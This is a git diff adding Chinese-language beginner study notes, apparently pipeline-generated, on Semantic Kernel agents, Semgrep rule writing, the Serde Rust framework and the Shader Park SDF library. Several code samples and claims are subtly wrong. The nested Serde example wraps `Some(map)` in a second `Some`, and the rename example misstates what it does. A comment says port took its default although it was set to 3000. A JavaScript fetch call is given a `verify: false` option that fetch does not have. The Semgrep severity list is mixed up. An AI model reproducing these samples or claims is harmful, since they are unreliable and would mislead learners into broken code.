+class MenuPlugin:
+    @kernel_function(description="Provides a list of specials from the menu.")
+    def get_specials(self) -> Annotated[str, "Returns the specials from the menu."]:
+        return """
+        Special Soup: Clam Chowder
+        Special Salad: Cobb Salad
+        Special Drink: Chai Tea
+        """
+
+    @kernel_function(description="Provides the price of the requested menu item.")
+    def get_item_price(self, menu_item: Annotated[str, "The name of the menu item."]) -> str:
+        return "$9.99"
+
+async def main():
+    agent = ChatCompletionAgent(
+        service=AzureChatCompletion(),
+        name="SK-Assistant",
+        instructions="You are a helpful restaurant assistant.",
+        plugins=[MenuPlugin()],
+    )
+
+    response = await agent.get_response(
+        messages="What is the price of the soup special?"
+    )
+    print(response.content)
+    # 输出: The price of the Clam Chowder, which is the soup special, is $9.99.
+
+asyncio.run(main())
+```
+
+注意：Agent 自己并不知道菜单和价格——它通过 Plugin 去"问"这些工具，然后把结果组织成自然语言回答你。
+
+### 示例三：多 Agent 协作系统
+
+三个 Agent 分工合作，模拟客服场景：
+
+```python
+import asyncio
+from semantic_kernel.agents import ChatCompletionAgent, ChatHistoryAgentThread
+from semantic_kernel.connectors.ai.open_ai import AzureChatCompletion, OpenAIChatCompletion
+
+# 账单专家
+billing_agent = ChatCompletionAgent(
+    service=AzureChatCompletion(),
+    name="BillingAgent",
+    instructions="You handle billing issues like charges, payment methods, fees.",
+)
+
+# 退款专家
+refund_agent = ChatCompletionAgent(
+    service=AzureChatCompletion(),
+    name="RefundAgent",
+    instructions="Assist users with refund inquiries, policies, and processing.",
+)
+
+# 分诊台——总指挥
+triage_agent = ChatCompletionAgent(
+    service=OpenAIChatCompletion(),
+    name="TriageAgent",
+    instructions="""Evaluate user requests and forward them to BillingAgent
+    or RefundAgent. Provide the full answer to the user.""",
+    plugins=[billing_agent, refund_agent],
+)
+
+async def main():
+    thread = ChatHistoryAgentThread()
+    user_input = "I was charged twice for my subscription last month."
+
+    response = await triage_agent.get_response(
+        messages=user_input,
+        thread=thread,
+    )
+    print(response.content)
+
+asyncio.run(main())
+```
+
+运行流程：用户提问 → TriageAgent 判断这是账单问题 → 调用 BillingAgent → 整理答案回复用户。
+
+## 技术要点
+
+| 概念 | 说明 | 类比 |
+|------|------|------|
+| Kernel | 容器，管理模型和插件 | 餐厅本身 |
+| Agent | 有身份的 AI 实体 | 服务员 |
+| Plugin | 自定义业务工具 | 点菜系统、收银机 |
+| Thread | 对话线程，保存上下文 | 一张餐桌 |
+| Connector | 连接不同 AI 模型 | 食材供应商 |
+
+## 支持的 AI 模型
+
+SK 是**模型无关**的——你可以随时切换后端模型而不改业务代码：
+
+- OpenAI（GPT-4 等）
+- Azure OpenAI（企业部署）
+- Hugging Face
+- NVIDIA NIM
+- Ollama / LMStudio（本地运行）
+- ONNX
+
+## 为什么企业喜欢用它
+
+1. **多语言支持**：Python、C#、Java 任选
+2. **插件生态丰富**：支持 OpenAPI 规范自动生成插件，意味着任何 REST API 都能一键变成 Agent 的工具
+3. **向量数据库集成**：内置对接 Azure AI Search、Elasticsearch、Chroma 等，轻松实现 RAG
+4. **可观测性**：内置日志和追踪，方便生产环境监控
+5. **微软背书**：MIT 开源协议，长期维护承诺
+
+## 重要更新
+
+Semantic Kernel 已经演进为 **Microsoft Agent Framework (MAF)** 1.0 版本。MAF 是 SK 的企业级后继者，增加了多 Agent 编排、A2A/MCP 跨运行时互操作等新能力。新项目建议直接参考 [MAF 迁移指南](https://learn.microsoft.com/en-us/agent-framework/migration-guide/from-semantic-kernel)。
+
+## 学习资源
+
+- 官方文档：https://learn.microsoft.com/en-us/semantic-kernel/
+- 入门指南：https://learn.microsoft.com/en-us/semantic-kernel/get-started/quick-start-guide
+- 100+ 示例代码：https://learn.microsoft.com/en-us/semantic-kernel/get-started/detailed-samples
+- Discord 社区：https://aka.ms/SKDiscord
diff --git a/src/content/docs/projects/semgrep-r2c.md b/src/content/docs/projects/semgrep-r2c.md
new file mode 100644
index 000000000..0d75fc9dc
--- /dev/null
+++ b/src/content/docs/projects/semgrep-r2c.md
@@ -0,0 +1,207 @@
+---
+title: Semgrep 零基础学习笔记
+来源: https://github.com/semgrep/semgrep
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# Semgrep 零基础学习笔记
+
+## 一、什么是 Semgrep？—— 用日常类比来理解
+
+想象一下你是一名图书管理员，每天要检查成千上万本图书。现在你想找出所有"封面是红色且书名包含'Python'"的书。
+
+用传统工具 grep 来做这件事，就像你**拿着放大镜一页一页地翻书**，只在页面上找"Python"这两个字。如果某本书把书名写在封底，grep 就找不到。
+
+用 Semgrep 来做这件事，就像你**直接看了书的目录和元数据**——你知道书的结构，知道"书名"是什么、"封面颜色"是什么。于是你能说出"第 42 页的那本红色 Python 书"，即使书名是斜着写的、分在两行上、或者用了同义词。
+
+这就是 Semgrep 的核心区别：
+
+- **grep** 做的是"字符串匹配" —— 只看字面，不懂结构
+- **Semgrep** 做的是"语义匹配" —— 理解代码的结构和含义
+
+Semgrep 官网的一句话概括非常精辟：**"Semgrep is semantic grep for code"**（语义化的代码搜索工具）。
+
+## 二、核心概念
+
+### 2.1 模式匹配 (Pattern Matching)
+
+Semgrep 的规则长得很像你要搜索的代码本身。它不需要你学习复杂的正则表达式，也不需要你理解抽象语法树 (AST)。你看到什么代码，就写什么代码作为规则。
+
+### 2.2 省略号运算符 (Ellipsis `...`)
+
+这是 Semgrep 最强大的概念之一。`...` 表示"这里有任意数量的内容，我不关心具体是什么"。
+
+类比：就像你在填空题里写"小明今年 ___ 岁" —— 无论空格里填 5、18 还是 80，这个填空题都能成立。
+
+### 2.3 元变量 (Metavariables)
+
+元变量是 `$大写字母` 形式的占位符，用来匹配你"不知道具体值"的部分。
+
+类比：就像数学里的 `x + y` —— 不管 x 和 y 是 1 和 2，还是 100 和 200，这个表达式结构不变。
+
+在 Semgrep 中，`$X` 可以匹配任意代码片段，并且同一个 `$X` 在规则中多次出现时，必须匹配相同的代码。
+
+### 2.4 规则结构
+
+每条 Semgrep 规则是一个 YAML 文件，包含：
+
+- `id`：规则的身份证号
+- `languages`：目标语言（python、javascript、go 等 30+ 种）
+- `pattern`：要匹配的代码模式
+- `message`：找到匹配时输出的提示信息
+- `severity`：严重程度（INFO / LOW / MEDIUM / HIGH / ERROR）
+
+## 三、代码示例
+
+### 示例 1：搜索 Python 中硬编码的密码
+
+**日常场景**：你发现团队代码里有人直接把密码写在了源文件里，就像把保险柜密码贴在显示器上一样危险。
+
+不安全的代码：
+
+```python
+def connect_to_db():
+    password = "my_secret_password123"
+    db = Database.connect(password=password)
+```
+
+Semgrep 规则 `hardcoded-password.yaml`：
+
+```yaml
+rules:
+  - id: hardcoded-password
+    patterns:
+      - pattern: '$VAR = "$PASSWORD"'
+      - metavariable-regex:
+          metavariable: '$PASSWORD'
+          regex: '(.*)password(.*)'
+    message: 发现硬编码密码：$VAR = "$PASSWORD"
+    severity: ERROR
+    languages:
+      - python
+```
+
+运行方式：
+
+```bash
+semgrep --config hardcoded-password.yaml your_project/
+```
+
+这条规则的意思是：
+
+1. 找到一个变量赋值，右边是字符串
+2. 把这个字符串的内容交给正则表达式检查，看是否包含 "password"
+3. 如果匹配，就报告发现，并告诉你是哪个变量
+
+### 示例 2：搜索 JavaScript 中不安全的请求验证
+
+**日常场景**：一个发 HTTP 请求的函数，开发者忘了关闭 SSL 证书验证。这就像寄挂号信的时候，让快递员随便找个投递点，不确认收件人身份。
+
+不安全的代码：
+
+```javascript
+const response = await fetch(url, {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' },
+  verify: false
+});
+```
+
+Semgrep 规则 `insecure-fetch.yaml`：
+
+```yaml
+rules:
+  - id: insecure-fetch-verify-false
+    patterns:
+      - pattern: 'fetch(..., { ..., verify: false, ... })'
+    message: 发现 fetch 请求关闭了 SSL 验证，存在中间人攻击风险
+    severity: HIGH
+    languages:
+      - javascript
+```
+
+规则解读：
+
+- `fetch(...)` 表示匹配任意参数的 fetch 调用
+- `{ ..., verify: false, ... }` 表示在对象参数中，找到 `verify: false` 这一项即可，前后还有其他字段也没关系
+
+### 示例 3：搜索 Go 中未检查的函数返回值
+
+**日常场景**：函数调用后不检查返回值，就像收到快递后不看包裹直接扔一旁 —— 万一送错货呢？
+
+不安全的代码：
+
+```go
+func handleRequest(w http.ResponseWriter, r *http.Request) {
+    user := getUser(r)
+    db.Save(user)  // 没有检查 err！
+}
+```
+
+Semgrep 规则 `unhandled-error.yaml`：
+
+```yaml
+rules:
+  - id: unhandled-db-save-error
+    patterns:
+      - pattern: 'db.Save(...)'
+    message: db.Save() 的返回值没有被处理，可能掩盖数据库错误
+    severity: MEDIUM
+    languages:
+      - go
+```
+
+配合 `...` 的更强写法：
+
+```yaml
+rules:
+  - id: unhandled-error-any
+    patterns:
+      - pattern: '$CALL(...)'
+      - pattern-not-inside: 'if $ERR := $CALL(...); $ERR != nil { ... }'
+    message: '$CALL 的返回值未做错误处理'
+    severity: MEDIUM
+    languages:
+      - go
+```
+
+这里用到了 `pattern-not-inside`：意思是"匹配 `$CALL(...)`，但前提是它不在一个已经处理了错误的 `if` 语句里面"。
+
+## 四、Semgrep 的工作流程
+
+```
+你的代码 ──→ Semgrep 引擎 ──→ 匹配结果
+                │
+        ┌───────┴───────┐
+        ↓               ↓
+   模式匹配      数据流分析
+  (单文件)     (跨函数追踪)
+```
+
+1. **安装**：`pipx install semgrep` 或 `brew install semgrep`
+2. **登录**（可选）：`semgrep login`，获取 Pro 规则库的访问权限
+3. **扫描**：`semgrep ci` 或 `semgrep --config=p/ci .`
+4. **查看结果**：CLI 输出或 Semgrep 平台界面
+
+## 五、为什么 Semgrep 适合初学者？
+
+1. **规则像代码**：不需要学 AST、不需要学正则表达式
+2. **即时反馈**：用 `-e` 参数可以命令行直接写规则测试
+3. **支持 30+ 语言**：Python、JavaScript、Go、Java、Rust 等都行
+4. **免费规则库**：Registry 里有 2000+ 条现成规则
+5. **IDE 集成**：VS Code、IntelliJ 都有插件
+6. **CI/CD 集成**：GitHub Actions、GitLab CI、CircleCI 都能跑
+
+## 六、进阶概念（了解即可）
+
+- **数据流分析 (Taint Analysis)**：追踪用户输入是否"有毒"地流入了危险函数
+- **Typed Metavariables**：给元变量加类型约束，比如 `(Logger $X).log(...)` 只匹配 Logger 类型
+- **Deep Expression**：`<... pattern ...>` 可以匹配深层嵌套的代码
+- **Auto-fix**：某些规则可以直接提供自动修复的代码
+
+## 七、一句话总结
+
+Semgrep = 用代码写规则，来找代码里的 bug 和安全问题。规则长得就像你要搜索的代码本身，加上 `...`（省略号）和 `$大写字母`（元变量）作为通配符。
diff --git a/src/content/docs/projects/serde.md b/src/content/docs/projects/serde.md
new file mode 100644
index 000000000..f2465c606
--- /dev/null
+++ b/src/content/docs/projects/serde.md
@@ -0,0 +1,244 @@
+---
+title: Serde — Rust 序列化框架
+来源: 'https://github.com/serde-rs/serde'
+日期: 2026-06-13
+分类: 其他
+子分类: rust-tools
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Serde**（发音 /sɜːrdiː/）是 Rust 生态中最流行的**序列化与反序列化框架**，名字来自 **ser**ializing + **de**serializing 的组合。当前版本 1.0，由 David Tolnay 主导维护，是 Rust 社区使用量排名第一的 crate。
+
+日常类比：
+
+- 想象你要把一份**纸质文档**寄给朋友。你需要把它扫描成电子文件（序列化），朋友收到后需要打印出来阅读（反序列化）。Serde 就是这套"扫描 + 打印"流程的标准化工具
+- 更具体地说：Serde 让你的 Rust 程序里的**数据结构**（比如一个包含用户名、年龄的结构体）可以变成**字节流**（存到文件或通过网络发送），也能从字节流**还原**回原来的数据结构
+- 它支持的格式包括 JSON、TOML、YAML、MessagePack、CBOR 等十几种数据格式，就像同一个扫描仪可以输出 PDF、JPEG、PNG 不同格式的文件
+
+## 核心概念
+
+### 1. 序列化（Serialize）与反序列化（Deserialize）
+
+这是 Serde 的两个基本操作：
+
+- **序列化**：把内存中的 Rust 数据结构 → 某种格式（JSON 字符串、二进制字节等）
+- **反序列化**：把某种格式的数据 → 内存中的 Rust 数据结构
+
+为什么需要这个？因为数据在**内存中**和**存储/传输**时的形态不一样。内存里是 Rust 的对象，但网络上传输的是字节，磁盘上存的是文本或二进制文件。Serde 负责在这两者之间架桥。
+
+### 2. Trait（特征）系统 —— Serde 的设计基石
+
+大多数语言（如 Java、Python）用**运行时反射**来做序列化——程序运行到那一刻才去"看"对象的内部结构。Rust 没有运行时反射，Serde 用的是**编译期 Trait 机制**：
+
+- `Serialize` trait：告诉 Serde"我这个类型知道怎么把自己变成字节"
+- `Deserialize` trait：告诉 Serde"我这个类型知道怎么从字节还原自己"
+
+你不需要手动写转换代码——Serde 通过 `#[derive]` 宏在**编译时自动生成**这些实现。这带来两个好处：零运行时开销（编译器可以把整个序列化过程优化掉），以及编译期就能发现错误。
+
+### 3. Derive 宏 —— 零手写代码的关键
+
+这是 Serde 最强大的地方。你只需要在结构体上方加一行注解，Serde 就会自动为你生成序列化和反序列化所需的全部代码：
+
+```rust
+use serde::{Serialize, Deserialize};
+
+#[derive(Serialize, Deserialize, Debug)]
+struct User {
+    name: String,
+    age: u32,
+    email: String,
+}
+```
+
+就这么简单。`#[derive(Serialize, Deserialize)]` 这一行代码，Serde 在编译时会自动展开为完整的序列化/反序列化实现。
+
+## 代码示例
+
+### 示例一：JSON 序列化与反序列化（最常用）
+
+这是 Serde 最常见的用法——把 Rust 结构体变成 JSON 字符串，再还原回来：
+
+```rust
+use serde::{Deserialize, Serialize};
+
+#[derive(Serialize, Deserialize, Debug)]
+struct Point {
+    x: i32,
+    y: i32,
+}
+
+fn main() {
+    // 创建一个结构体实例
+    let point = Point { x: 1, y: 2 };
+
+    // 序列化：Point → JSON 字符串
+    let serialized = serde_json::to_string(&point).unwrap();
+    // 结果: serialized = {"x":1,"y":2}
+    println!("serialized = {}", serialized);
+
+    // 反序列化：JSON 字符串 → Point
+    let deserialized: Point = serde_json::from_str(&serialized).unwrap();
+    // 结果: deserialized = Point { x: 1, y: 2 }
+    println!("deserialized = {:?}", deserialized);
+}
+```
+
+Cargo.toml 依赖配置：
+
+```toml
+[dependencies]
+serde = { version = "1.0", features = ["derive"] }
+serde_json = "1.0"
+```
+
+关键点：
+
+- `serde_json::to_string()` 把 Rust 对象转成 JSON 字符串
+- `serde_json::from_str()` 把 JSON 字符串转回 Rust 对象
+- `serde_json` 是 Serde 生态中专门处理 JSON 格式的 crate，Serde 本身不包含任何具体格式的解析器
+- 每个数据格式都是独立的 crate（如 `serde_yaml`、`serde_cbor`、`serde_toml`），按需引入
+
+### 示例二：嵌套结构与 Vec 集合
+
+Serde 能处理复杂的数据结构——嵌套结构体、数组、Option 可选值：
+
+```rust
+use serde::{Deserialize, Serialize};
+use std::collections::HashMap;
+
+#[derive(Serialize, Deserialize, Debug)]
+struct Address {
+    street: String,
+    city: String,
+    country: String,
+}
+
+#[derive(Serialize, Deserialize, Debug)]
+struct Employee {
+    name: String,
+    age: u32,
+    address: Address,
+    skills: Vec<String>,
+    metadata: Option<HashMap<String, String>>,
+}
+
+fn main() {
+    let emp = Employee {
+        name: "Alice".to_string(),
+        age: 30,
+        address: Address {
+            street: "123 Main St".to_string(),
+            city: "San Francisco".to_string(),
+            country: "USA".to_string(),
+        },
+        skills: vec!["Rust".to_string(), "Go".to_string()],
+        metadata: Some({
+            let mut map = HashMap::new();
+            map.insert("department".to_string(), "Engineering".to_string());
+            Some(map)
+        }),
+    };
+
+    // 序列化为格式漂亮的 JSON（带缩进）
+    let json = serde_json::to_string_pretty(&emp).unwrap();
+    println!("{}", json);
+    // 输出:
+    // {
+    //   "name": "Alice",
+    //   "age": 30,
+    //   "address": {
+    //     "street": "123 Main St",
+    //     "city": "San Francisco",
+    //     "country": "USA"
+    //   },
+    //   "skills": ["Rust", "Go"],
+    //   "metadata": {
+    //     "department": "Engineering"
+    //   }
+    // }
+
+    // 反序列化回去
+    let restored: Employee = serde_json::from_str(&json).unwrap();
+    println!("{:?}", restored.name); // Alice
+}
+```
+
+这个例子展示了几个重要特性：
+
+- **嵌套结构体**（`Address` 在 `Employee` 内部）—— Serde 递归处理，无需额外配置
+- **Vec\<String\>**（字符串数组）—— 直接映射为 JSON 数组
+- **Option\<...\>**（可选值）—— `Some(value)` 正常输出，`None` 则输出 `null`
+- **HashMap\<String, String\>**（键值对）—— 映射为 JSON 对象
+
+### 示例三：自定义字段名称与默认值
+
+有时候你需要控制 JSON 的字段名（比如 API 要求驼峰命名，而 Rust 用蛇形命名），或者给字段设默认值：
+
+```rust
+use serde::{Deserialize, Serialize};
+
+#[derive(Serialize, Deserialize, Debug)]
+struct Config {
+    #[serde(rename = "api_key")]
+    api_key: String,
+
+    #[serde(default = "default_port")]
+    port: u16,
+
+    #[serde(skip_serializing_if = "Option::is_none")]
+    description: Option<String>,
+}
+
+fn default_port() -> u16 {
+    8080
+}
+
+fn main() {
+    let config = Config {
+        api_key: "secret123".to_string(),
+        port: 3000,
+        description: None,
+    };
+
+    let json = serde_json::to_string_pretty(&config).unwrap();
+    println!("{}", json);
+    // 输出:
+    // {
+    //   "api_key": "secret123",
+    //   "port": 3000
+    // }
+    // 注意：description 因为 None 被跳过了，port 用了默认函数
+}
+```
+
+`#[serde(...)]` 属性提供了丰富的定制能力：
+
+- `rename`：重命名字段（蛇形 → 驼峰等）
+- `default`：指定默认值函数
+- `skip_serializing_if`：条件跳过序列化（避免输出 `null`）
+
+## 为什么 Serde 这么重要
+
+1. **Rust 生态的事实标准**：几乎所有需要处理数据的 Rust crate 都依赖 Serde（包括 `reqwest`、`tokio`、`actix-web`、`sqlx` 等知名库）
+2. **零成本抽象**：不像 Java 用反射做序列化有运行时开销，Serde 在编译期完成所有工作，性能几乎等同于手写序列化代码
+3. **格式无关**：同一套结构体定义，切换 JSON/YAML/TOML 只需改一行依赖，代码不动
+4. **安全性**：编译期检查确保类型安全，不会像某些动态语言那样在运行时突然报错
+
+## 快速上手清单
+
+| 步骤 | 命令/操作 |
+|---|---|
+| 添加依赖 | `cargo add serde --features derive` + `cargo add serde_json` |
+| 定义结构体 | 加 `#[derive(Serialize, Deserialize)]` |
+| 序列化 | `serde_json::to_string(&data)` |
+| 反序列化 | `serde_json::from_str::<MyType>(&json_string)` |
+| 换格式 | 改依赖为 `serde_yaml`，调用方式不变 |
+
+## 进一步学习
+
+- 官方教程：https://serde.rs/getting-started.html
+- 完整 API 文档：https://docs.rs/serde
+- 支持的格式列表：https://serde.rs/data-formats.html
+- Discord 社区：#rust-questions 频道
diff --git a/src/content/docs/projects/sglang.md b/src/content/docs/projects/sglang.md
index 18a83702a..3783d3d57 100644
--- a/src/content/docs/projects/sglang.md
+++ b/src/content/docs/projects/sglang.md
@@ -2,7 +2,7 @@
 title: SGLang — 结构化推理运行时
 来源: https://github.com/sgl-project/sglang
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/shader-park.md b/src/content/docs/projects/shader-park.md
new file mode 100644
index 000000000..0360836ca
--- /dev/null
+++ b/src/content/docs/projects/shader-park.md
@@ -0,0 +1,247 @@
+---
+title: Shader Park — 程序化 SDF 着色器 DSL
+来源: 'https://github.com/shader-park/shader-park-core'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Shader Park** 是一个 JavaScript 库（`shader-park-core`），让你用接近「搭积木」的语法描述 **3D/2D 程序化图形**，在运行时自动编译成 GLSL 着色器，通过 **Raymarching（光线步进）** 在 GPU 上实时渲染。作者 Torin Blankensmith 与 Peter Whidden 维护，MIT/Apache-2.0 协议，官网 [shaderpark.com](https://shaderpark.com) 提供在线编辑器与数百个社区作品。
+
+日常类比：
+
+> 传统 GLSL 像 **自己造相机、调暗房、冲胶片**：你要写顶点着色器、片段着色器、uniform 绑定、WebGL 状态机，还要手写 SDF 求交与步进循环。Shader Park 则像 **乐高 + 3D 打印机的说明书**：你说「这里放一个球，那里挖一个环，再整体涂上金属感」，库负责把说明书翻译成 GPU 能执行的 GLSL，并替你完成 Raymarching 管线。你专注「形状与动画逻辑」，而不是底层图形 API。
+
+与 [glslCanvas](/docs/projects/glsl-canvas) 的分工：glslCanvas 把 **已有 GLSL 字符串** 画到 canvas；Shader Park 把 **JavaScript DSL** 转成 GLSL。与 [regl](/docs/projects/regl) 的分工：regl 封装 WebGL 状态机；Shader Park 站在更高层，内置 SDF 图元、CSG 布尔运算、噪声与材质，面向 **算法艺术 / 生成式 3D** 而非通用网格渲染。
+
+## 为什么重要
+
+不理解 Shader Park，下面几件事都说不通：
+
+- 为什么 [shaderpark.com/explore](https://shaderpark.com/explore) 上大量作品只有几十行 JS，却能在浏览器里实时旋转复杂有机体
+- 为什么 **Signed Distance Field（SDF，有符号距离场）** 可以用 `union` / `difference` 做布尔建模，而不需要网格布尔运算
+- 为什么同一套「雕塑代码」可以导出到 Three.js、离线 HTML、TouchDesigner，甚至用于网格化（`toRawSDF4Meshing`）
+- 为什么 p5.js、Three.js 教程里会出现 `createShaderPark` / `createSculptureWithGeometry`——它们把 SP 当作 **可嵌入的着色器生成器**
+
+## 核心概念
+
+### 1. JS → GLSL：Sculpt（雕塑）即着色器
+
+你在编辑器或 npm 项目里写的一段函数体，在 Shader Park 术语里叫 **sculpture（雕塑）**。核心库解析 JS 调用序列（`sphere`、`difference`、`color`…），生成完整的 Raymarching 片段着色器。内置全局量包括 `time`（动画时间）、`mouse`（指针）、`getSpace()`（当前采样点空间坐标）、`getRayDirection()`（视线方向）等。
+
+**Raymarching 直觉**：从相机沿像素方向「迈步」，每步问 SDF「离表面还有多远？」，距离足够小就着色。SP 隐藏了循环与法线估计，你只描述 **距离场本身**。
+
+### 2. SDF 与图元（Primitives）
+
+SDF 在任意点返回 **到最近表面的有符号距离**（内部为负、外部为正）。Shader Park 内置图元：
+
+| 函数 | 含义 |
+|------|------|
+| `sphere(r)` | 半径 r 的球 |
+| `box(size)` | 轴对齐盒子 |
+| `torus(R, r)` | 大半径 R、管径 r 的环 |
+| `cylinder(h, r)` | 圆柱 |
+| `plane(n, h)` | 平面 |
+| `cone(h, r)` | 圆锥 |
+
+图元调用即「在当前空间位置放置一个距离场贡献」。默认 **并集模式**（`union`，可省略）：后画的形状与已有场景合并。
+
+### 3. 构造模式（Construction Modes / CSG）
+
+类似 CAD 里的布尔运算，用 **栈式指令** 组合距离场：
+
+| 模式 | 作用 |
+|------|------|
+| `union()` | 合并（默认行为，显式调用也可） |
+| `difference()` | 从当前形状减去接下来画的形状 |
+| `intersect()` | 只保留交集 |
+| `blend(f)` | 平滑混合（f 控制过渡锐度） |
+| `mixGeo(t)` | 在两种几何之间插值（t 常接 `input()` uniform） |
+
+### 4. `shape()`：作用域与复用
+
+`shape(fn)` 把颜色、位移、构造模式封装在函数内，返回可重复调用的「子雕塑」。类比：给乐高子组件单独一个袋子，里面的改动不会污染外面。
+
+### 5. 空间变换与修饰
+
+| 类别 | 代表 API |
+|------|----------|
+| 位移 | `displace(x,y,z)`、`setSpace(fn)` |
+| 旋转 | `rotateX/Y/Z(angle)` |
+| 对称 | `mirrorX/Y/Z`、`repeat(vec3)` |
+| 变形 | `expand(d)`（膨胀）、`shell(t)`（抽壳） |
+| 噪声 | `noise(p)`、`fractalNoise(p)` |
+
+### 6. 材质与光照
+
+`color(vec3)` 设 albedo；`metal(t)`、`shine(t)` 控制 PBR 感；`lightDirection(vec3)` 改主光方向；`backgroundColor` 设背景。可配合 `normal`（内置法线）做简单着色。
+
+### 7. 外部输入：`input()` 与 Uniform
+
+在 Three.js / 自定义宿主里，通过 `input()` 声明 **可从 JS 更新的 uniform**（如音频分析、点击状态）。编辑器内则自动注入 `time`、`mouse` 等。
+
+### 8. 质量与性能
+
+| API | 用途 |
+|------|------|
+| `setStepSize(s)` | Raymarching 步长，越小越精细、越慢 |
+| `setGeometryQuality(n)` | 几何质量，artifact 时可增大 |
+| `setMaxIterations(n)` | 最大步进次数 |
+
+文档 FAQ：若形状出现 **条纹/失真**，优先调高 `setGeometryQuality`。
+
+### 9. 集成与导出
+
+- **Web**： [shaderpark.com/new](https://shaderpark.com/new) 在线编辑
+- **npm**：`npm install shader-park-core`
+- **Three.js**：`createSculptureWithGeometry(geometry, spCodeString, uniformsFn)`
+- **p5.js**：`createShaderPark(() => { ... })`（见 shader-park-p5 构建物）
+- **CLI**：`npm run toThreeJS`、`toOffline`、`toRawSDF4Meshing` 将雕塑转为不同目标
+
+## 实践案例
+
+### 案例 1：最小雕塑——球体挖环（理解 difference）
+
+在 [在线编辑器](https://shaderpark.com/new) 中，默认模板即可改为：
+
+```js
+// 大球
+sphere(0.7);
+// 切换到「减法」模式：接下来画的形状会从当前场景挖掉
+difference();
+rotateX(1);
+rotateZ(PI / 2 + time);  // time 内置，环会随时间旋转
+torus(0.7, 0.1);
+```
+
+**逐行解释**：
+
+1. `sphere(0.7)` — 在原点放置半径 0.7 的球体距离场。
+2. `difference()` — 栈模式切换：下一图元做 **布尔减**。
+3. `rotateX(1)` / `rotateZ(PI/2 + time)` — 在 **当前空间** 旋转坐标系后再画环；`time` 驱动动画。
+4. `torus(0.7, 0.1)` — 环的几何被从球中减去，得到「套环球」或甜甜圈孔效果。
+
+这是 SDF-CSG 的典型心智模型：**先放主体，再声明运算，再放工具形状**。
+
+### 案例 2：封装子形状 + 噪声位移 + 多球 blend
+
+稍复杂结构：把「挖环球」存成组件，加噪声扰动，再 blend 小卫星球（改编自社区 p5/Shader Park 教程模式）：
+
+```js
+setStepSize(0.4);
+
+let scale = input();        // 宿主传入：噪声尺度
+let noiselvl = input();     // 宿主传入：噪声强度
+
+let n = noiselvl * noise(getSpace() * scale + time);
+let c = vec3(n) * 0.5 + 0.5 + normal + vec3(0.4, 0, 0);
+
+let ringBall = shape(() => {
+  color(c);
+  shine(0.8);
+  sphere(0.7 + n * 0.1);
+  difference();
+  rotateX(getSpace().x * 4);
+  rotateZ(PI / 2 + time);
+  torus(0.7 + n * 0.1, 0.1 + n * 0.1);
+});
+
+ringBall();
+
+blend(0.2);
+displace(sin(time * 2.3) / 1.3, 0, cos(time) / 1.3);
+color(c);
+shine(0.8);
+sphere(0.2 + n * 0.1);
+reset();
+
+displace(cos(time * 2.3) / 1.3, sin(time) / 1.3, 0);
+sphere(0.3 + n * 0.1);
+```
+
+**要点**：
+
+- `shape(() => { ... })` 返回 `ringBall`，调用 `ringBall()` 才绘制。
+- `getSpace()` 提供当前 Raymarching 采样点，乘 scale 后喂给 `noise`，实现 **空间扭曲**。
+- `blend(0.2)` 后画的小球与主体 **平滑并集**，不是硬切。
+- `displace` + `reset` 成对使用：移动坐标系画卫星，再 `reset` 回世界空间。
+- `input()` 需在 p5/Three 宿主里通过 uniform 回调传入具体数值。
+
+### 案例 3：嵌入 Three.js（音频/交互）
+
+Codrops 教程模式：用 `createSculptureWithGeometry` 替换普通 Mesh 材质：
+
+```js
+import { createSculptureWithGeometry } from 'shader-park-core';
+
+export function spCode() {
+  return `
+    let pointerDown = input();
+    let audio = input();
+    setMaxIterations(5);
+
+    let s = getSpace();
+    let r = getRayDirection();
+    let n = noise(s + vec3(0, 0, audio * 0.1));
+
+    metal(n * 0.5 + 0.5);
+    shine(n * 0.5 + 0.5);
+    displace(mouse.x * 2, mouse.y * 2, 0);
+    color(normal * 0.1 + vec3(0, 0, 1));
+    boxFrame(vec3(2), abs(n) * 0.1 + 0.04);
+    mixGeo(pointerDown);
+    sphere(n * 0.5 + 0.8);
+  `;
+}
+
+// 在 Three.js 场景中：
+const mesh = createSculptureWithGeometry(geometry, spCode(), () => ({
+  time: clock.getElapsedTime(),
+  mouse: mouseVec,
+  pointerDown: isPointerDown ? 1 : 0,
+  audio: analyserAverage,
+}));
+scene.add(mesh);
+```
+
+**要点**：雕塑代码是 **字符串**（或模板函数返回字符串）；uniform 对象键名与 `input()` 变量对应；`mixGeo(pointerDown)` 在 boxFrame 与 sphere 之间插值，实现点击切换形态。
+
+## 与相关工具对比
+
+| 维度 | Shader Park | 手写 GLSL + Raymarching | Three.js 网格工作流 |
+|------|-------------|-------------------------|---------------------|
+| 学习曲线 | 低（声明式 API） | 高（需懂 SDF + 步进） | 中（场景图 + 材质） |
+| 布尔/有机形 | CSG 一行切换 | 手写 `min`/`max` 组合 | 需建模软件或 CSG 库 |
+| 动画/交互 | `time`、`input()` 内置 | 自行传 uniform | AnimationMixer 等 |
+| 导出网格 | CLI 网格化 | 不直接支持 | 原生强项 |
+| 2D | `enable2D()` 等 | 可写 | 通常用平面/正交相机 |
+
+## 已知限制（官方 FAQ 摘要）
+
+- **不要用 `if (time > 100)` 这类分支** 依赖内置变量——会破坏编译/优化；改用 `smoothstep`、`mix` 等连续函数。
+- `length`、`distance`、`dot`、`normalize` 等 **仅 vec3**；`pow`、`mod` 等 **仅 float**——与 GLSL 类型严格一致。
+- 没有内置 `scale()`——文档建议用 `setSpace` 做非均匀缩放，因简单 scale 易扭曲距离场。
+- `glslSDF()` 可嵌入自定义 GLSL 距离函数，但 **不支持 GL ES 3** 环境。
+
+## 学习路径建议
+
+1. **零基础**：打开 [shaderpark.com/new](https://shaderpark.com/new)，改 `sphere` / `box` / `torus` 参数，试 `difference` 与 `blend`。
+2. **读 API**：[Interactive Documentation](https://docs.shaderpark.com/references-js/) 按 Geometry → Construction Modes → Material 顺序浏览。
+3. **模板项目**：克隆 [shader-park-examples](https://github.com/shader-park/shader-park-examples) 的 `es6-starter-template` 或 `es6-three-starter-template`。
